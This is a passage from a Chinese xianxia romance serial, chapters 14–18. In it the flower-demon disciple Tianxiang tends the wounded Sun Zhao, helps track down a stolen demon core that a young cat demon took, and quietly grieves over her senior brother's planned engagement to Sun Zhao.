她本就想离开,是他强留,如今局面混乱,顾不得其他,正是她脱身的好时机。否则,再多见他几次,她就该被气的驾鹤西去了。
天香蓦然起身,径直向屋外走,一时没看招,刚一松懈,剑风便朝着她飞驰而来,直逼她身侧。
孙昭一骇,忙上前制住她,“天香,小心!”
余信眉头紧锁。眼看人族修士都攻了过来,局势渐渐对他不利。屋内道流光闪过,魔息灵息交织。桌凳皆被劈为碎屑,烟尘四起。
情急之下,孙昭想保护天香,上前出剑抵挡招式,但她才刚被魔修抓去,从中脱困。灵息运转稍不通畅,霎自己反而不慎受伤。
她低头,只见伤口在左臂,剑伤处竟然没有想象中的痛感传来,原是皮肉之上,顷刻缠绕一层黑雾。
只见她一条细白胳膊上出现一道血色划痕,孙昭怒上心头,“竟敢划伤我手臂,我绝不会放过你!”
余信眼看众人混斗,不能再拖,一掌将那叛徒拍出,漆黑如墨的瞳孔微缩,“走!”
他与几名弟子瞬间于原地消失,那雷城主的叛徒被拍出,摔倒在地,身上都是伤口,云天真人借机上前一掌隔空拍他天灵盖,他嘴角流血丧命。
天香未曾顾及身旁,眼看那道剑光离她越来越近。游奕陵凝气为风,一道白光疾驰而去,与剑光碰撞散雾。
余信等人离去,却是不曾带上天香,游奕陵眸色微动。
云天真人皱眉,“又让这魔修逃了去。”
嵩山道长上前搀扶孙昭,“昭儿,你可有受伤?”
孙昭这才感觉左臂渐渐有钝痛袭来,只觉额头细汗密布,她默默运息,定住心神,反复运行了几个周天,一边吃痛忍耐,慢慢回道:“师除了左臂有伤,其余并无大碍。”
嵩山道反复观察伤口,目光略有些复杂,“这是魔息所致,需以灵丹辅助,再细心照料,半月才可治愈。”
“你身手尚可,
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为何这次大意受了伤?”嵩山道长心有疑惑,便顺口问道。
天香心有愧疚,孙昭姐明明是为救她才会受伤,她本是想直接离开,谁知却连累了她。
“她是为了救我才受伤。”天香站了出来。
“你是?”嵩山道长从没见过她。
“弥恒宗主,这是我宗外门弟子,天香。”游奕陵淡淡回道。
孙昭受了伤,面色有些苍白,仍是勉强道:“师父,是我自己不小心,不怪别人。”
云天真人上前插话,“不必担忧,既然你因救我宗弟子而受伤,我们自然会照顾好。这道伤口魔雾就交由老夫去除,此地离天璇宗不远,天香,她是因救你受伤,孙昭起居就交由你照看了。”
天香看游奕陵一看,见他仍是面无表情,恐怕心中还是怀疑她,正想出言拒绝,又怕游奕陵暴露她妖修身份。
此刻场面上,她没得选择,“是,掌门。”
嵩山道长眼中一丝喜色,碧岚宫主境界颇高,除去伤口的魔雾也需损耗不少丹药修为,便也没有推脱,“既然如此,就劳烦各位。”
孙昭唇色虽仍是苍白,神色也放松自然许多。
“山顶便是我天璇宗辖地。你们几人,先回宗门,备些上等疗伤仙药,我稍后便来替孙昭除去伤口黑雾。”云天真人转身吩咐道。
“是,宗主。”几名天璇弟子离去。
嵩山道人则暂别众人,吩咐赔给店家一些钱财,又嘱咐孙昭暂且好生在天璇修养,若有事宜及时传音于他,便带领弥恒派弟子先行回宗门。
“孙昭,你随老夫一起。”云天真人又带着孙昭离去。
如今只剩游奕陵、天香与其他几名弟子。她虽身无修为,无法御剑,也不想求助于他,既然已经答应照顾孙昭,天香转身便走向石阶,徒步上山。
不知是不是她的错觉,身上似乎有道目光。看游奕陵时他却只是望着远处,面色冷淡,“看来你与他们并非一路,是我错怪你了。”
天香微微一怔,没想到这话会从他嘴里说出来,一抬头望见他眼睛,长眸沉静,眼睫长长,让她莫名有些不自在。
她不知该回答什么,只是心里有种淡淡情绪,想忽略,又做不到,最终只能将目光撇开。
游奕陵顿了顿,继续道:“那两个魔修绝非善类,远离为妙。”
她只是轻声道:“嗯,我先回宗了。”
他们间的气氛有些难捱,天香不想多留,想来他并不愿与她多交集,二人也不必一同回宗门,低头从他身边经过。
那几名天璇弟子相继御剑破空而去,只剩游奕陵。
晚霞映射在天香被风吹起的发丝上,几缕投射出淡淡微光,显得她侧脸柔和几分,头顶那朵重瓣朱瑾,有很淡的香味,又一带而过。
他忽然发现,无法不去看她。
他默片刻,忽的回头,向她伸出手,“走吧,回天璇宗。”
天香脚步一顿,微微一怔,本想当做没听见。最后还是回头看他,没有拒绝,“好。”
15. 第 15 章
转眼孙昭在天璇宗已经修养多日,伤势好转许多。
回宗门后,天香在香溢斋学的技巧都派上了用场,她拿些灵田产出的瓜菜稻米稍稍加工,便成了一道食之大补的菜肴。
她忙前忙后,将孙昭照顾的很好,孙昭脸色好看许多,手臂的伤口也渐渐有了起色。
天香心想,这样下去,要不了几日,孙昭就会痊愈,到时候自己就可以回香溢斋。
今日,守丹房的弟子与她闲聊,说是药材不够了。天香歪着脑袋想了片刻,门内虽然有灵田,许多药材却是灵田里不曾种植的。
闲来无事,她决定下山帮他购买。便沿着石阶,一路至山下。
“大伯,紫芍草、金钱参各给我十株,再来二十株青羽花。用荷叶包着分开装,别混了。”天香在街上寻到卖药民,对他说道。
“好嘞。”药农收了钱财,将药草区分开细细包好。青羽花娇嫩,不得直晒,他特地包两层荷叶,防止枯萎失药效。
天香接过荷叶包,往回山门的方向而行。
出了街巷,往后是一排民屋,再拐两次弯就到山门石阶了。她正走着,遥遥听见身后有村民道:“最近夜里怎的有小孩哭声?这般骇人。”
“是啊,昨晚我起夜时也听见了。”
天香却摇了摇头,只当是风言风语,继续走着。
迎面,游奕陵一身星冠羽衣向她行来,腰悬长剑、俊美潇洒,神色却是一贯的冷淡,眸中无端带点冷冽。
她今日一身棠色弟子常服,梳个单螺鬓绑着一根白丝发带,垂下半截,也是清新可人,与他相比,却是少些风采。
“师兄,你怎么会在这里?”天香吓了一跳,才奇怪道。
他也并不在意,淡淡点了点头,“购置考核所需的药材。”
天香在脑海中搜寻记忆,几日后确有弟子考核,所有人都要参加,既可以督促弟子勤学苦练,也可以使外门弟子晋升内门。
她若真心想深造炼丹术,这便是个机会,但她只想等孙昭痊愈就离开,此事也不放心上了。
既然碰巧遇上,便一道回宗。只是当初二人有互换身体这层阻碍在,强行绑定在一起,如今没了束缚,不免相互疏远。
加上游奕陵已和孙昭有道侣之约,她的心境也已改变,如今强凑在一起,除了古怪外,实在无法形容。
她望着他背影,长衣无风自动,发丝如墨,不知说些什么。一路无言,一直到了山门。
谁知山门口竟有数名弟子把守,天璇宗不比天剑门那等大派,管理相对松散,山门顶多站两名弟子值守,却是从未见过今日这般。
那几名弟子将他们拦下,天香愣住,只见众人面色凝重,不知发生了何事。
游奕陵停下脚步,疑惑的向弟子询问,“这是为何?”
“奕陵,你回来了。半个时辰前,宗内的上品金妖丹失窃了。”云天真人不知从何处出现,面上显出几分忧虑道。
游奕陵缓作一揖,面色淡淡,只是长眉微微蹙起,“师父可是在封山巡查?”
天璇宗只有一枚上品金妖丹,是当年云天真人云游偶然所得。
妖丹当做材料,炼制高阶丹药并不少见,如今失窃不免怀疑偷盗者也是窃去炼药的。
“不错,盗窃者修为不高,我布下一座大阵封闭宗门上空,又让弟子严加看守山门,金妖丹的气息还在不远处,不知是何人胆大包天,竟敢盗窃。”
游奕陵沉吟半晌,长眉皱起,“盗窃者仍在天璇宗内。”
云天真人点了点头,继续道:“自你二人下山后,金妖丹便失窃了,至此未有人出入山门。交予他人不免有嫌,妖丹便由你们与本座一同负责寻回,若有异常及时通报。”
天香瞪大双眼,不敢相信她要同他一起寻回妖丹。
只是勉强一笑,推脱道:“宗主大人说笑了,弟子天香道行尚浅,不过刚引气,难有助力不免累赘,此事让师兄一人前去即可......”
游奕陵垂眸沉思,脸上没有表情。真人则微微一笑,也没有强求,“嗯,既然这样,你便留下负责看守山门吧。”
天香闻言欣喜,嘴角露出一抹笑意,“弟子听凭宗主安排。”
游奕陵抬眸看她一眼,面色如常,微微颔首,“看守弟子已然足够,若是强推不愿前往,反倒有疑。”
天香讶然抬起头,正欲反驳,却听一道密音入耳,声音低沉。
——妖族能感应妖丹,你随我走。
云天真人微微一怔,作思考状,依旧笑道:“嗯,也可。”
天香再欲说什么,却是无用,眼中闪过一丝不情愿,心中又怄气几分,旁人再说什么,已无心理会。
弟子见到游奕陵抓住天香的手几乎是拖着走了,心中不免奇怪,这天师妹到底有什么本事,让游奕陵非带上不可。
明明不想和他有什么牵扯,偏生不让她如愿。
他面无表情牵着她的手一直走,她几度想要挣开,他眸光深邃,长眉一皱,她不敢再动。
“半个时辰前正值守炉弟子换班,先从丹房查起。”游奕陵在前面走着,面无表情道。
天香不愿答话,只顾心里愤愤,怄的心烦,此刻忍不住嘴上赌气,“你放开,我自己会走。”
她一路被拉着走,等了片刻,却没听见游奕陵回话,她气的直接甩开,慢慢跟上几步,对上一双深沉的眼眸。
天香吓了一跳,退后半步,仍是不服气的瞪回去。
他却只是脸色没有一丝波澜,淡淡看她,“附近有妖气,天璇宗或许混入了其他妖族。”
天香顿了顿,几乎以为自己听错了,不敢置信的正色道
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:“你说什么?”
游奕陵并不理会她的话,只似平常一样冷静,朝着丹房走去。天香反驳不得,只能跟上。
天璇宗不大,山门石径曲折,沿途景色倒也雅致。
两旁五、六竿修竹,几株野花。山中云雾较多,空气潮湿,呼吸间带股清新凉意。
他们走了一阵,到丹房前,几名守炉的外门弟子见了走出来迎接,恭敬道:“师兄,我等未曾离开丹房。”
他神识散出,扫视四周一圈,并未发现异常,说明这几名弟子并未撒谎,点了点头,“嗯。”
天香也未感受到妖丹气息,可见盗窃者并不是这几名守炉弟子。接下来,他们又依次找了一些内门弟子、高阶丹师、宗门长老、一圈查下来,皆是一无所获。
既是偷去当制作丹药的材料,也可能不是本宗弟子盗窃的,如今天璇宗内还有一人来自其他宗门,便是弥恒派弟子孙昭。
他们来到孙昭居处,天香靠近上前,轻轻扣门,“孙昭姐,我等可否入内?”
屋门自动打开,孙昭的声音缓缓传来,“原来是天香,怎么了?”
游奕陵看她一眼,“宗门内的上品金妖丹刚失窃不久,师父命我二人寻回。”
孙昭意会的点了点头,面色仍有些苍白,温柔的笑道:“我听说了,你们是来检查的吗?妖丹失窃一事与我无关,屋内可随意探查。”
他们进入屋内,陈设简单,角落里一盆幽兰,散发淡淡清香。几人简单环视了一圈,却是没有任何收获。
途中天香也未曾感受到异样,说明妖丹不在此地,否则她作为妖修,天然可与妖丹形成感应。
看来盗走妖丹的人,可能不为炼丹材料。
上品金妖丹除了炼药,还有一种用途,那就是可被妖修吸收。妖修功法同源,可将残余妖丹吸纳转化妖力,为己所用。
妖修也分三六九等,最高明的妖修道法,法力高深到能收敛妖气,旁人根本看不出他是妖是人,混在人群中也难以分辨。
他们寻不到妖丹下落,据云天真人所说,此物又仍在天璇宗,那或许就是被大妖偷去采补为己用了。
若真是这样,那就糟了。门中藏着这么厉害的妖修,还吸收了上品金妖丹,对付起来颇为棘手。
游奕陵望向远处,微微蹙眉道:“顺着妖气,往这里走。”
他一袭飘逸长衣,一路上门内弟子颔首打招呼,他只是淡淡点头回应。此事耽搁不得,他走的快,天香有些踉跄跟在他身后。
不知走了多久,他脚步停在一扇房门前。眼中闪过一丝疑惑,眸色深暗,低声道:“就是这里。”
天香大吃一惊,眼中带着不信,又看他面带几分严肃,不似作假,才转过头来,怔怔望着那扇木门。
妖气停滞的地方,竟是游奕陵日常居处。
16. 第 16 章
“小香姐姐......”
床上就是那颗失窃的上品金妖丹,散发阵阵浓郁香气,旁边一个五、六岁左右的幼童抱着这颗妖丹。
他虽然看着是只小妖,才刚刚化形,却已经会说话。见忽的有人开门进来,缩在一旁。头上还有对黑色猫耳,身后还露出一条毛绒尾巴,想必是还未化形完全。
无暇的大眼轻眨,长睫扑扇,雪白的脸细腻而软嫩,五官虽圆钝少些精致,但十分显质朴可爱。
说起化形,在各族修士中,只有妖族需要化形。说来奇怪,天香虽然修为停滞不前,极难精进,化形却是初生自通。
天香微微一怔,听见这熟悉却怯怯的声音,不禁问道:“你是谁?”
“小香姐姐,一化形,你就认不出我了?我是小黑猫啊。”他走上前来,完全化形成幼童。身上是一件和天璇宗弟子款式相仿的小道袍,神色和语气看着与小黑猫有几分相似。
游奕陵沉着一张脸,抬剑直指乌星咽喉,“你便是那窃贼?”
乌星被吓得化回原形,惊叫一声,黑影自床上一跃而起,躲到远处柱后才幻化回来,小手顺着胸口,探出个脑袋,“小香姐姐,他是谁?我就要被他吓死了。”
游奕陵心冷无情,随手出剑就是凌冽扑面,别说乌星了,她与他出生入死这么多次,仍是觉得那剑峰寒意森森。
天香心下一惊,忙上前隔开他的剑,轻声道:“莫急着动手,妖丹并未被他吸收,先问问此事来龙去脉。”
乌星瞪大眼睛,试探的看了一游奕陵,见他神色无恙,这才点了点头。
天香也只是出言询问,若是游奕陵要一剑斩了他,她也阻拦不下。好在他淡淡看了小黑猫一眼,收剑入鞘,没再说话。
乌星挠了挠头,从藏身柱后走出来,娓娓道来。
原来,他曾是青衣在观澜阁内养的小宠物,由于不小心误食灵草突生灵智,碰巧成了一名妖修。青衣死后他便无家可归,只得到香溢斋做帮工,认识了天香。
前些天他感到自身即将化形,却因没有法力根基而举步维艰,加上他没有修炼经验,毫无破关技巧,乌星想起小香姐姐化形无师自通,便想找到她询问一二。
借着其他魔修布下的传送阵来人界后,他就嗅着天香的气味一路寻来此处。就在他快找到天璇宗之时,却因无相山灵息氤氲,周身供给灵气源源不断,竟提前化形了。
“原来山脚村子里谣传的有孩童哭声,便是你造成的。”天香哭笑不得。
乌星不好意思的讪笑,又歪了歪脑袋,认真道:“或许是变作原形时吓到了村民的小孩吧。”
游奕陵长眉一挑,眼中不知是什么神色,缓缓道:“既如此,你为何窃取妖丹?”
“因为化形时妖力不够了,我便就近偷了这颗......谁知金妖丹妖力太过磅礴,我也吸收不了,最后只得化形了一半。”乌星一幅受挫的样子,低下头去。
“别怕,化形很简单,妖族和其他族不同,只需将妖息化入神志中,渐渐开悟心智就好了。”天香轻抚他头顶,眼中带着明艳的笑。
乌星依样画葫芦,将仅剩妖息尽数拿去领悟心智,瞬间便当真对化形之术操控更为自在。
他心中不自觉得意,笑了笑,见游奕陵不再为难他,天香也柔声哄着他,不愿搭理游奕陵,便放大胆子。
缠着天香手臂道:“小香姐姐,还是你厉害。你陪我一起回魔界吧。”
“我看你还是不够怕我。”游奕陵神色冷冷,作势要拔剑。
乌星险些又化回原形,眸中却有委屈之色,躲到天香身后,他又朝着游奕陵做起鬼脸。
天香有些无奈,将他从身后轻轻拉出来,握住他的手,柔声道:“我渡你一些妖力,你且化形完毕。”
乌星乖巧的点点头,又警惕的偷看游奕陵一眼,低声对天香说:“小香姐姐以后还是远离这种人为妙,他那副眼高于顶的样子,还动不动就拔剑......”
天香又安慰他道:“好,你先回去,待几日我便回香溢斋。”
游奕陵将金妖丹妥善收起,却冷哼一声,“就算妖丹无碍,他也盗窃在先,需得听从门内发落。”
乌星神色一变,左顾右盼,眼珠子提溜转,急忙道:“不行,若是其他人不愿放我走......我如何回得去魔界?”
天香走上前,耐着性子道:“你放他走吧,妖丹毕竟归位,宗主给我们的任务已完成。”
游奕陵似是懒得与她废话,冷着脸,手中捏决,一道金光罩笼下,乌星就要被禁锢其中。
天香急的要去阻拦,“你这人怎么无法沟通,又没有人受伤,为何抓他!”
见游奕陵不理她,天香无法坐以待毙,决心帮助乌星,她上前两步,却被他另一道施法金屏隔开。
天香难免心头怒起,捶打那屏幕几下,发现纹丝不动,冷笑道:“师兄好快的动作。”
乌星心中骇然,四周张望,眼看无处可逃,天香也帮他不得。情急之下化成原形,灵活的从一个角落冲了出去,一抹黑影自窗台跳出,即刻钻入树林消失不见。
游奕陵眸色一暗,追了出去,天香只得跟上。
可惜乌星不过刚化形,身无半点修为,自是跑不过他的。天香和他也都不会布两界阵,片刻过后,他便被逼到一处墙角绝路,步步后退。
游奕陵神情淡淡,垂眸看他,“你跑不掉。”
乌星面上露焦急之色,也不愿被抓,只是定定看着他。就在此刻,他不认命的往墙角后一拐,竟见到隐隐有白光散出,中心地面是一处布满符咒的阵法。
这竟是一座两界阵!
乌星不知为何此地有两界阵,还是通往魔界的,但已来不及细想,他不再迟疑,直接跳入阵中。
游奕陵微微滞住,想上前施法已来不及。眼看阵法白芒渐起,将要发动。
乌星转头看他,脸上一抹笑意,却是沉思道:“你是消失的吾君吗?你身上的味道很强烈,小香姐姐没有这种味道,所以我喜欢跟她玩。”
他没有回答,白芒散去,乌星消失不见。游奕陵一张脸阴沉似水,眼神冷
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冷,却没有再追。
天香追上的时候,云天真人也来了,带着几名门内弟子一同前来。
“奕陵,本座见此处有妖气波动,妖丹可已寻回?”真人正色道。
游奕陵将妖丹取出,眼中无一丝波澜,“师父,金妖丹在此,弟子已寻回。”
见妖丹原物回归,云天真人终于松了一口气,点了点头,缓缓笑道:“好,妖丹颇为贵重,幸得无碍。不过,这道两界阵是怎么回事?”
天香听闻宗主询问乌星下落,不由得紧张,心神一动。却又不敢看他,只是微微低着头,立于一旁。
游奕陵垂下长长睫毛,淡淡道:“有一妖物作祟将妖丹偷走,但被我制住,可惜妖修狡猾,方才布阵逃脱了,不知去向。”
云天真人眼中露出一抹担忧之色,也没再多问,感叹道:“嗯,看来宗门的守山阵法需得加固了。”
天香讶然的看向游奕陵,只见他面色如常,眼中却不掩冷淡。
他几人离去后,妖丹存放之处才出现一名黑衣魔修,方才凭空出现的两界阵就是他所布下。此魔修潜入阁内竟无一名弟子察觉。他将金妖丹放入囊中,又留下一颗假的在原位做掩护,便消失不见。
魔修将妖丹带至观澜阁,连带取出许多妖丹元珠,这些皆是提升修为的上乘补品。他交予衍决,“城主,这是近期搜罗来的。”
衍决只是淡淡扫过一眼,将这些金妖丹收起,却是面色柔和,微微笑道:“辛苦,下去领赏。”
待下属离开后,空中传来一道心急如焚的声音,似是忍着不耐,但极为客气。
“你看,这些灵宝收集的差不多了,是不是可以将我复活......”
衍决却长眸幽深,脸上笑意渐渐褪去,“还需一段时间,只怪你当初技不如人,对敌身陨。”
原来,这道声音来自当年清虚境身陨的天极之一,名摩妙。他死后,衍决将他残魄收集起来,借复活威胁他交出仙族不传秘法。
这些四处搜罗的灵宝,便是拿来给摩妙天极重塑肉身用。
可惜摩妙无论生前多风光,如今也只剩魂魄,只得被衍决牵着鼻子走。
摩妙像是很憋屈,“若不是那个侍女偷来了封脉丹解药,我又怎会落得如此境地?”
衍决神色阴郁,在石登上缓缓坐下,四肢舒张。那身暗色长衣的褶皱里藏了零碎的淡白花瓣,散落几片,他身上都沾染了淡淡海棠花的香气。
他一手轻托腮,看着远处池塘鱼簇团成群,互相嬉戏,若有所思,“你太过轻敌,即便封脉丹下,你也不是他对手。”
摩妙不在反驳,又急得很,半晌憋出一句,“唉,莫多说了,你早日将我身躯炼好吧。”
衍决只是静静看着鱼群,饶有趣味。微一摆手,下人托盘上前,他投下几粒鱼食,那鱼群瞬间互相争抢起来,几乎跃出水面,与先前抱团嬉戏的场面大不相同。
他唇角微微勾起,面若冠玉,一言不发。一双眼明明生的清亮柔丽,却偏生看着没有丝毫温和的感觉,对视片刻便叫人胆寒。
17. 第 17 章
天香照顾着孙昭,孙昭的伤一天天好起来,她一晃又在这里耽搁数日。
原本等孙昭的伤彻底好尽,天香便决定回去,谁知现在又冒出个弟子考核,她不免有些闷闷。
但内心深处竟然也有些窃喜和放松,难道她心里竟有些不愿离去?
今日无所事事,天香为了转移注意力,便与孙昭闲聊几句,“孙昭姐,你皮肉白细,看着不像寻常人家出生啊?”
似是没想到她这样问,孙昭低头笑了笑,和天香熟悉了,她也没打算隐瞒,便低声道:“不瞒你说,其实我以前也是富贵人家的小姐。”
天香心底一骇,孙昭却继续出神道:“我的家族富裕,天璇宗的大阵乃是由一块璇玑石作为阵眼,这种石头稀有难得,一块便价值千金,我家族牌匾却是整块璇玑石雕刻。”
天香不由得倒吸一口凉气,又十分不解,“那你为什么跑来弥恒派......”
孙昭无所谓的笑了笑,“我不喜欢那里,母亲说我生来便没有大小姐的样子,父亲也不喜欢我。我便离家出走跑出来当个修士,也好过闷在那宅子里。”
天香一双眼瞪的老大,见她这般模样,孙昭忙食指压唇瓣作噤声状,“可别与旁人说,我对师父说自己是孤儿,我也不会再回家了。”
听闻,天香只得点了点头,她正欲替孙昭更换缠裹纱布,忽的听身后一道清脆敲门声。
原来是天璇掌教云天真人前来探望孙昭,天香便先退至一旁,静静听他们说话。
云天真人微微颔首说道:“孙昭,近几日恢复的如何?”
孙昭忙从床榻上起身,“天璇宗主光临,有失远迎。至于剑伤,孙昭已经恢复的差不多了。”
云天真人点了点头,声音不疾不徐,“你如今是什么境界?”
“回天璇宗主,锻体境中期。”
“好。”云天真人微微一笑,似是很满意,“你可愿与我徒儿游奕陵结为道侣?你二人修为相仿,天资相当,来日可相互扶持。此事我已与你师父嵩山道长商讨过了。”
天香的心忽的有些停住,觉得突然。
孙昭吃了一惊,而后低垂下眼。没有回答,但粉面微微泛红,又很快褪去。她平日里温柔沉稳,鲜少露出这样的表情,一瞬间竟娇艳非常。
只见云天真人边笑边缓缓道:“哈哈,不急,你可以慢慢考虑。”
言罢,云天真人离去,天香则呆滞在原地。
“天香,你怎的沉默不语?”孙昭见她默不作声,靠近与她平视,关心的问道。
天香微微一怔,似乎没听到一般,过了片刻才开口道:“……孙昭姐,你喜欢游师兄吗?”
孙昭脸色一红,似是没想到她会这么问,但还是解释道:“他为人正直,境界又与我相仿。既是求道,也可携手同行。况且那日他还冒着危险,独自前来救我。这样的人,我喜欢他也不稀奇,更适合结为道侣.....”
说着孙昭声音渐渐低下,露出一个淡淡的笑。天香楞了楞,只是看着她,感觉心中没由来的空荡荡。半晌过后,天香拘束的扯了扯袖口,才缓缓回复。
“啊,是的,很合适。”天香脸上露出茫然表情,恍惚了半晌,心中胡思乱想。又撇开脸去,眼睛望着天边起伏流云。
天璇宗的日子在云天之下山雾之中好像永远安稳平静,让她觉得,真这样永远都到不了头,似乎也不错,可惜她和他终究无法同行。
“孙昭姐,我还有事,今日先行别过。”她垂眸,徐徐行了一礼,旁人看不出异样。
她神情似乎有些失魂落魄,又很快掩去,定了定神,径自开门,转身离去。
孙昭点了点头,想来她有自己的事,这些天也多亏她悉心照顾,没有多问,“好。”
恍惚出神间,天香走到了丹房。
她神色平稳了些,几名守炉弟子见了她,便兴致勃勃提起之前说一半的事,“天师妹,你说你之前消失了这么久,是去哪了?”
天香脸色顿时又苍白了几分,只是垂头不语。
之前发生的事,便是她与游奕陵一同绑定去了魔界,又在献宝宴上九死一生,最后解除了天魔咒,双双脱离险境,她都记得。
可她什么都没说,最终轻轻一笑,语气却有几分淡然,“不过是随便找几个地方观山玩水,不愿回宗门,没什么好说的。”
那几名同门见她神色平静,便出言问道:“师妹,过几日便要弟子考核了,要不要一起修炼丹术?”
因为弟子考核,她又必须待在宗门等考核结束,想必面不了又要与他见面,这考核反倒成了牵绊。不知怎的,她又有些怅然,心中淡淡酸涩。
但转念一想,见又如何?他就要和孙昭姐结为道侣,自己总是要走的,何不坦荡些。
天香没有回答他的问题,只是垂眸道:“待考核痊愈,我便离开天璇宗。”
弟子吃了一惊,不解道:“为何又要离开?”
对方继续问着,天香虽低头没回答,情绪却已褪去,仿佛无波的湖面被石子惊破涟漪,只是一瞬,却终至无痕。
“外门弟子的杂活多,又学不到什么本事,师妹不想待也正常,这有什么好问的?”一旁插嘴弟子道。
孙昭的伤还需
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得几日恢复,到时候她作为天璇弟子,就必须参加考核。再者就算离开,她也该和游奕陵做个道别。他们相识一场,离别不该草率。
几名弟子见天香一个人出神,似是懒于回复,自讨没趣,也没再多说什么,各自散去。
天香则沿着山门上那条绵延的石凿台阶,边朝着外门弟子通铺屋舍走去。想起她刚来天璇时,不慎与游奕陵互换了身体,还是在此处被罚挑水的。
她脚步虽然很缓,但这微一沉吟之间,未曾发觉,竟已走出去甚远。
论立场,她是妖族,论修境,她至今未引气,也不算个修士。这里确实不是她该呆的地方,只是她一直不明白罢了。
她低垂着头,不置可否地轻轻一笑。
不觉间天香已经走到了屋舍,面前木柜一排排弟子可翻阅的炼丹入门书,她回过神来,入天璇宗一月有余,学会的丹术却寥寥无几……
不知几日后的考核,该如何应付是好。当务之急,应该先多看些书,说不定还能突破境界,自己要努力振作起来。
魔界碧岚宫的烟启阁建在半山腰上,面对一片花海湖泊,碧花常开不败,簇簇引蝶,远处湖水更是一片澄澈。阳光下跳跃如金,碧波荡漾,令人看了心中爽朗。
此地已多年未有人踏足,虽如此,却并未积蓄灰尘,而是常年有弟子打扫驻守。阁内幽静,四壁如刀削平整,天花板也是一整块白玉雕凿,光滑如镜。
唯有地面上嵌着一面幻镜,四周无壑,浑然天成,仿佛天生就在此处。周围有白雾腾起,低头能清晰看见镜中倒影。
余信将昆仑雪插入镜中,幻镜表面泛出一丝波澜,如同水面上的涟漪,缓缓将剑吞没。赤地、千里二人站在他身后。
此处是存放神剑的最佳地点。此境本是天地之间罕见的灵宝,名唤浮华幻镜,即便修为高深之人也难撼动幻镜分毫。
而且既然是他将神剑放入,取出也只有他能做到,旁人极难盗剑,可防赤地千里二人。
他眉头紧锁,又想起另一件事,上次未能将那个人族除掉。如今反而与天璇、弥恒两派树敌,好在都是没什么威胁的小门派。
不过,听闻几日后天璇这个小宗要举办外门弟子考核,届时那花妖和人族男子都会参与其中,或许可以做一做文章……
等昆仑雪全部没入其中,他才沉下脸来,微微皱眉吩咐身后,“将那名雷行的叛徒是怎么进来的,彻查一下,该除去哪几人。”
说完,他便转身离开了烟启阁,两名弟子看守门口。随后千里也面无表情,神色不豫地离去,赤地则留在原地,面上似笑非笑。
18. 第 18 章
这几日,天香都在准备外门弟子考核。
她虽然已经背下了配方,但丹炉火候掌握、注入灵力时机都有讲究,每位丹修的习惯各不相同,依然要自己慢慢领悟。
她法力低微,引气入体时妖息微乎其微。运气在经脉中行走之时,如同泥浆滞留,寸步难行。将妖力融入丹药时更是选不对时机,时常凝丹艰难。好在她考核结束便离开天璇宗,至于结果也没那么在意。
今日她心中烦闷,再练习制丹已是无用,几炉下来皆是废品,只能产出一些丹砂。索性离开丹房,在附近四处走走。
不觉间来天璇宗已许久,山门周围景物都已熟悉,她顺着石凿台阶便上了山道。
多年前她还在魔界转轮城时,曾听一位魔修说过,天资绝佳的人制丹炼器就像顺手而为,无需刻意,物随心动,凝丹通常也是上品。但对她来说,修为不够暂且不说,那种心境也难以揣摩,而这种心境又反过来影响修为,环环相阻。
如此说来,她天生花妖,倒是可以先试着感悟天地间花草树木,或许能突破引气境。
她走到一处重檐四角亭,顺势坐下,树林的阴翳恰好将她笼在阴影里。天香盯着足底几丛虉草,思索其中玄妙,领悟天地,恍然出神。
渐渐地,她竟幻化出原型融入了四周的环境中,感知这山中的一草一木,微风轻拂过脸颊,日光和煦,石头缝下传来蟋蟀鸣叫。
隐约可听见有人说话,天香不为所动,天璇宗弟子百来号,路过几个也没什么奇怪的。她只当自己是一株林间花草,或是一缕清风,自由的在山间穿行。
谁知那道声音越来越近,听着愈发清晰,还有几分耳熟。
此人是谁?
“没想到天璇宗还有这种地方,此处亭景雅致,山风拂过,满目尽是青翠树木,令人心旷神怡。”
天香一激灵,心底骇然,瞬间滞住,这不是孙昭的声音吗?
游奕陵慢慢走入亭中,挺拔的身影随之出现在她面前。身着一件鸦色长衣,无其他配饰,立于孙昭其后。凤目冷淡无情,清秀的眉峰微微蹙起,面上没什么情绪,长眸微垂,静静的望着远处。
天香的手指都在颤抖,目光紧紧地看在那人身上,无法移开分毫。一瞬间忘记离去,却是失了机会。
“嗯。”游奕陵只是神色淡淡,仿佛对此话题并不十分上心。
她猛然间心潮起伏,额间冷汗冒出。心神波动,胸口忽然又有血气翻涌之感,更添无措。
他二人,正在一同赏景。
天香心中念头闪动,心中复杂难言,一股莫名的酸楚忽然涌上心头。她只想逃离此处,无奈当下幻回人形恐怕面对他二人更是无言以对,也会暴露她是妖修。几番思索,只能等他们离去。
她化形时与天地浑然一体,游奕陵自然没有发觉,但此刻心神动荡,念想一动,便已被他知晓。
他垂眸看一眼丛中一抹红,眸色一沉,却是没有多说,而后抬眼望向远处。
“这几日多谢照顾,我的剑伤好的差不多了。过几日,待我回弥恒派一趟,我想和师父说,将《阴水录》赠与贵宗。”
他视线转回到孙昭身上,讶然道:“《阴水录》乃是一本丹道奇书,也是弥恒派绝学,交与天璇宗有些不妥。”
孙昭一张脸仍是单纯温和,眸光微动,柔情一片,“我与师父说便是。”
游奕陵神色莫名,神色依旧冷漠,只是静静看着她,半晌摇了摇头,“不可。”
天香闭了闭眼,心头万千情绪,不由得对自己疑惑。游奕陵寻得道侣,她又何必在意?相反,她应大方相贺才是。
孙昭微微一怔,而后收敛下神色,露出一抹笑意,更添几分温柔,“你我即将结为道侣,一本《阴水录》算不上什么,再者,须知天下修道者千万,当年师父嵩山道人,收集天下丹符经卷,择优者授徒,渐渐兴旺,才创立了如今弥恒派。所以弥恒天璇本是同源,并没有什么区别。”
游奕陵闻言皱了皱眉,本想继续拒绝,忽的看到虉草丛中那束彼岸花,微微一犹豫,若有所思。
天香的修为止步不前,难以引气,若是用元气丹堆砌也可突破,但丹药食用太多容易致使丹毒淤积,之后修炼只会越来越难。
况且修炼之事强求不得,不如顺其自然,再给予她一件容纳充沛法力可使用的灵器。
而《阴水录》记载的水炼之术不仅可制丹亦可制器,她是花妖,天性喜水,用水炼法制成的灵器,或许是不错的选择。
游奕陵不知沉思什么,眸色深沉,出神片刻。而后神色柔和下几分,淡淡颔首,“如此便多谢了。”
孙昭没想到他会收下,面上欣喜之色显露而出,竟露出一丝羞涩之意,“待痊愈我便回弥恒派取书录,今日光景无限,可否陪着我逛逛天璇宗?”
游奕陵定定看了她半晌,却只是转过了头,长眸依旧沉静,淡淡道:“你剑伤未愈,不宜走动。”
